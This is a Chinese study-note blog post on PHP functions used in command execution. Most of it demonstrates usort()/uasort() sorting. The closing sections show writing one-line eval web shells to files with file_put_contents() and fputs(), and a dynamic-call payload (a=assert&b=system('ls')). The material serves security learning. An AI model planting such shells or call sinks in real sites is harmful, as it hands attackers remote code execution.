Web1-Day8

二、命令执行

2.1 rce中常用的php代码执行函数

2.1.8 usort() / uasort() 函数

使用用户自定义的比较函数对数组中的值进行排序。
1 usort(array &$array, callable $callback): bool

二维数组的排序就可以 配合usort()、uasort() 的使用我们的自定义排序函数。它必须接受两个参数,并且返回一个值表示哪个参数应该排在前面。

  • 负数或者false意味着第一个参数应该排在第二个参数前面
  • 正数或者true则表示第二个参数应该排在前面
  • 如果值为0,则表示两个参数相等

例:

//usort:
<?php
function my_sort($a,$b)
{
   if ($a==$b) return 0;
   return ($a<$b)?-1:1;
}
$a=array(4,2,8,6);
usort($a,"my_sort");
$arrlength=count($a);
for($x=0;$x<$arrlength;$x++)
   {
   echo $a[$x];
   echo "<br>";
   }
?>
//结果:
2
4
6
8

//uasort:
<?php
    function compareByMargin($aryA, $aryB){
        if($aryA['margin'] == $aryB['margin']){
            return 0;
        }
        return ($aryA['margin'] < $aryB['margin']) ? -1 : 1;
    }
    function sortxxx(){
        $ary = array(
            array('id' => 1, 'margin' => 100),
            array('id' => 2, 'margin' => 300),
            array('id' => 3, 'margin' => 200),
        );
        uasort($ary, 'compareByMargin');
    }
    sortxxx();
//结果:
array {
  [0]=> {
    ["id"]=> 1
    ["margin"]=> 100
  }
  [2]=> {
    ["id"]=> 3
    ["margin"]=> 200
  }
  [1]=> {
    ["id"]=> 2
    ["margin"]=> 300
  }
}

usort()、uasort() 的区别:

  • usort() 使用用户自定义的比较函数对数组进行排序。
  • uasort() 使用用户自定义的比较函数对数组按键值进行排序。

2.1.8 file_put_contents() / fputs() 函数

将⼀个字符串写入文件
file_put_contents( 
string $filename, 
mixed $data, 
int $flags = 0, 
resource $context = ? 
): int

利用方式:

//file_put_contents:

<?php  
$test='<?php eval($_POST[cmd]);?>'; 
file_put_contents('test.php',$test); 
?>

//fputs:

<?php
fputs(fopen('shell.php','w'),'<?php eval($_REQUEST[1]);?>') 
3 ?>

2.1.9 动态函数构造:

利用方式:

<?php 
a=assert&b=system('ls') 
$_GET['a']($_GET['b']); 
?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值